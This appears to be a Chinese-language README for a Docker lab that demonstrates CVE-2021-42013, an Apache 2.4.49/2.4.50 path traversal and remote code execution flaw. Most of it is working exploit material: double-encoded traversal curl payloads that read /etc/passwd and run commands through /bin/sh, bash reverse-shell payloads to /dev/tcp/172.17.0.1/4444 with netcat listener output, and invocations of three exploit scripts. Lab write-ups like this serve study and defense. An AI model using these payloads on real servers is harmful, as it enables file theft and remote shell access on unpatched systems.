CVE-2021-42013

简介

人们发现，Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复并不充分。攻击者可以利用路径遍历攻击，将 URL 映射到由类似 Alias 的指令所配置目录之外的文件。如果这些目录之外的文件未受到通常默认配置“require all denied”的保护，这些请求就可能成功。如果这些别名路径还启用了 CGI 脚本，则可能导致远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50，不影响更早版本 [1]。

用于演练/学习 CVE-2021-42013 的 Docker 容器实验室

文件泄露漏洞配置：

$ docker build -t apache-default default_conf
$ docker run -dit --name apache-app -p 81:80 apache-default

概念验证：

$ curl -s --path-as-is "http://172.17.0.2:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

使用 path_traversal_vuln.py

$ python3 path_traversal_vuln.py -h                                                                         

    >> CVE-2021-42013 - Path Traversal
    >> by twseptian

usage: path_traversal_vuln.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -f FILE_READ

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
  -f FILE_READ, --file FILE_READ
                        File to read

$ python3 path_traversal_vuln.py -t 172.17.0.2 -p 80 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65' -f /etc/passwd

路径遍历

远程代码执行（启用 CGI）配置：

$ docker build -t apache-cgi cgi_mod_enable
$ docker run -dit --name apache-lab -p 82:80 apache-cgi

概念验证：

$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
uid=1(daemon) gid=1(daemon) groups=1(daemon)

使用 bash 反向 Shell 的 PoC

$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash"

netcat 输出

$ nc -lvnp 4444                                                            
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3.
Ncat: Connection from 172.17.0.3:35660.
daemon@dcbbed945af7:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@dcbbed945af7:/bin$

-使用 rce.py

$ python3 rce.py -h

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

usage: rce.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -s SHELL

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
  -s SHELL, --shell SHELL
                        shell

$ python3 rce.py -t 172.17.0.3 -p 80 -x '%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65' -s "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"

netcat 监听器

$ nc -lvnp 4444                                                    
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41052
daemon@82f07f4b32a8:/bin$

使用 rce.py

使用 rce2.py

$ python3 rce2.py -h

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

usage: rce2.py [-h] -t URL -p TARGET_PORT -L LOCALHOST -P LOCALPORT -x PAYLOAD

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -L LOCALHOST, --lh LOCALHOST
                        Localhost/Local IP
  -P LOCALPORT, --lp LOCALPORT
                        Localport
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload

$ python3 rce2.py -t 172.17.0.3 -p 80 -L 172.17.0.1 -P 4444 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65'

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

[!] Payload: .%%32%65/.%%32%65/.%%32%65/.%%32%65
[*] Setting up a netcat listener
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41122
bash: initialize_job_control: no job control in background: Bad file descriptor
daemon@82f07f4b32a8:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@82f07f4b32a8:/bin$

使用 rce.py

参考资料

cve-2021-42013-docker-lab

最受欢迎